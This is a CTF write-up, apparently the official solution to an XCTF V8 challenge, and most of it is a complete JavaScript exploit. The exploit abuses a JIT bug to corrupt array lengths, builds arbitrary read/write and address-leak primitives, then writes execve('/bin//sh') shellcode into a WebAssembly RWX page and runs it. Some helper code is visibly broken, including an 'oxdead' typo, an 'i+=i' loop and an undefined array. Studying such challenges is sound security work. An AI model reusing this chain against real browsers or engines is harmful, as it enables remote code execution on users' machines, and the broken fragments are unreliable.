V8

点击此处获得更好的阅读体验

---

WriteUp来源

来自官方发布

https://www.xctf.org.cn/library/details/5acdc1c31cf4935ac38fce445978888a5710cf11/

题目描述

vvvvv88888

题目考点

• v8引擎漏洞利用题目

• 因为删除的codedependency导致漏洞的产生，map无法正常发挥他的作用

• 可以通过构造BigUintArray来exploit

解题思路

const MAX_ITERATIONS = 0x10000;
var maxSize = 1028*8;

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var uint32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64-bit unsigned integer to Floating point
function i2f(n)
{
    bigUint64[0] = n;
    return float64[0];
}

function f2half(val)
{
    float64[0]= val;
    let tmp = Array.from(uint32);
    return tmp;
}

function half2f(val)
{
    uint32.set(val);
    return float64[0];
}
// 64-bit unsigned integer to hex
function hex(i)
{
    return "0x"+i.toString(16).padStart(16, "0");
}

function wasm_func() {
    var wasmImports = {
        env: {
            puts: function puts (index) {
                print(utf8ToString(h, index));
            }
        }
    };

    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
        96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
        116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
        131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
        109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
        128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
        65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
    let h = new Uint8Array(m.exports.memory.buffer);
    return m.exports.hello;
}

function gc(){
    for(let i = 0; i < 100; ++i){
        new ArrayBuffer(0x100000);
    }
}
// wasm obj
func = wasm_func();

a = [1.1, 2.2, 3.3, 4.4];
a.x = 1;

function foo(idx, val, idx2, flag){
  idx = idx & 0xffff;
  if (flag == 1){
    a[idx2] = val;
  }
  return a[idx];
}
for(let i = 0; i < 0x10000; i++){
  foo(1, 1, 0, 1);
}
a[0x1000] = 1;

b = [1.1];
vulnArray = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9];
ab = new ArrayBuffer(0x200);
objArray = {m:0xdead, n:func};
bigUintArray = new BigUint64Array(6);
bigUintArray[0] = 0x1234n;
bigUintArray[1] = 0x5678n;

//find the length of the vulnArray
//console.log(i2f(0xdeadbeefn));
vulnArray[0] = 1.8457939563e-314;
var lengthIdx = 0;
for(let i = 0; i < 0x100; ++i){
    if(f2half(foo(i,0,0,0))[0] == 0xdeadbeef){
        console.log("Found on 0: " + i);
        lengthIdx = i - 3;

        //changing length
        var tmp = f2half(foo(lengthIdx, 0, 0, 0));
        tmp[1] = 0x2020 << 1;
        foo(0, half2f(tmp), lengthIdx, 1);
        console.log(hex(f2i(foo(lengthIdx,0,0,0))));
        if(vulnArray.length > 8)
            console.log(vulnArray.length);
            break;
    }
    if(f2half(foo(i,0,0,0))[1] == 0xdeadbeef){
        console.log("Found on 1: " + i);
        lengthIdx = i - 2;
        
        //changing length
        var tmp = f2half(foo(lengthIdx, 0, 0, 0));
        tmp[0] = 0x2020 << 1;
        foo(0, half2f(tmp), lengthIdx, 1);
        console.log(hex(f2i(foo(lengthIdx,0,0,0))));
        if(vulnArray.length > 8)
            console.log(vulnArray.length);
            break;
    }
}

var floatArrayBigBaseIdx = 0;
var floatArrayBigExternalIdx = 0;
for(let i=0; i<0x100; i++) {
    if(f2half(vulnArray[i])[0] == 0x1234){
        floatArrayBigBaseIdx = i + 12;
        floatArrayBigExternalIdx = i + 11;
        floatArrayBigLenIdx = i + 10;
        console.log("[+] float idx of big uint array base addr is: "+hex(floatArrayBigBaseIdx));
        console.log("[+] float idx of big uint array external addr is: "+hex(floatArrayBigExternalIdx));
        var bigUintArrayLen = f2i(vulnArray[floatArrayBigLenIdx]);
        var bigUintArrayBasePtr = f2i(vulnArray[floatArrayBigBaseIdx]);
        var bigUintArrayExternalPtr = f2i(vulnArray[floatArrayBigExternalIdx]);
        var compressHeapHighAddr = bigUintArrayExternalPtr & 0xffffffff00000000n;
        print ("[+] heap high addr: " + hex(compressHeapHighAddr));
        
        break;
    }
}

function InHeapRead64(addr)
{
    vulnArray[floatArrayBigBaseIdx] = i2f(addr-0x8n);
    let ret = bigUintArray[0];
    vulnArray[floatArrayBigBaseIdx] = i2f(bigUintArrayBasePtr);
    return ret;

}

function InHeapWrite64(addr, val)
{

    vulnArray[floatArrayBigExternalIdx] = i2f(addr-0x8n);
    bigUintArray[0] = val;
    vulnArray[floatArrayBigExternalIdx] = i2f(bigUintArrayExternalPtr);
    return;
}

function ByteToBigIntArray(payload)
{

    let sc = [];
    let tmp = 0n;
    print("lenpay: ", payload.length);
    let lenInt = BigInt(Math.floor(payload.length/8))
    print("lenInt:", lenInt);
    for (let i = 0n; i < lenInt; i += 1n) {
        tmp = 0n;
        for(let j=0n; j<8n; j++){
            tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
        }
        sc[i] = tmp;
    }
    print(sc);

    let len = payload.length%8;
    tmp = 0n;
    for(let i=0n; i<len; i++){
        tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
    }
    sc[lenInt] = tmp;
    return sc;
}

function InHeapWrite(addr, payload)
{
    sc = ByteToBigIntArray(payload);

    vulnArray[floatArrayBigLenIdx] = i2f(payload.length);
    vulnArray[floatArrayBigBaseIdx] = i2f(addr-0x8n);

    for(let i = 0; i<sc.length; i+=i) {
        bigIntArray[i] = sc[i];
    }

    vulnArray[floatArrayBigBaseIdx] = i2f(bigUintArrayBasePtr);
    vulnArray[floatArrayBigLenIdx] = bigUintArrayLen;
}

function ArbitratyWrite(addr, payload)
{

    sc = ByteToBigIntArray(payload);
    print(sc);

    vulnArray[floatArrayBigLenIdx] = i2f(BigInt(sc.length));
    vulnArray[floatArrayBigBaseIdx] = i2f(0n);
    vulnArray[floatArrayBigExternalIdx] = i2f(addr);
    for(let i = 0; i<sc.length; i+=1) {
        bigUintArray[i] = sc[i];
    }

    vulnArray[floatArrayBigLenIdx] = bigUintArrayLen;
    vulnArray[floatArrayBigBaseIdx] = bigUintArrayBasePtr;
    vulnArray[floatArrayBigExternalIdx] = bigUintArrayExternalPtr;
}

function AddrOf(obj)
{
    objArray.n = obj;
    for(let i=0; i<maxSize; i++) {
        let half = f2half(vulnArray[i]);
        if( half[0] == (0xdead<<1) ) {
            //print("123");
            ret = half[1];
            break;
        }
        else if( half[1] == (0xdead<<1) ) {
            //print("456");
            ret = f2half(vulnArray[i+1])[0];
            break;
        }
    }

    return BigInt(ret)
}

function FakeObj(addr)
{
    for(let i=0; i<maxSize; i++) {
        let half = f2half(vulnArray[i]);
        if(half[0] == (oxdead<<1)) {
            half[1] = addr;
            vulnArray[i] = half2f(half);
            return objArray.n;
        }
        else if(half[1] == (0xdead<<1)) {
            half = f2half(vulnArray[i+1]);
            half[0] = addr;
            vulnArray[i+1] = half2f(half);
            return objArray.n;
        }
    }
}

var wasmObjAddr = AddrOf(func);
var sharedInfoAddr = InHeapRead64(wasmObjAddr+0xcn)&0xffffffffn;
var wasmExportedFunctionDataAddr = InHeapRead64(sharedInfoAddr+4n)&0xffffffffn;
var instanceAddr = InHeapRead64(wasmExportedFunctionDataAddr+0x8n)&0xffffffffn;
var rwxAddr = InHeapRead64(instanceAddr+0x68n);
//%DebugPrint(func);
console.log("[+] wasm obj addr: "+hex(wasmObjAddr));
console.log("[+] wasm shared info addr: "+hex(sharedInfoAddr));
console.log("[+] wasmExportedFunctionData addr addr: "+hex(wasmExportedFunctionDataAddr));
console.log("[+] instance  addr addr: "+hex(instanceAddr));
console.log("[+] rwx addr: "+hex(rwxAddr));


var shellcode = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
ArbitratyWrite(rwxAddr, shellcode);
//print(payload.length);
func();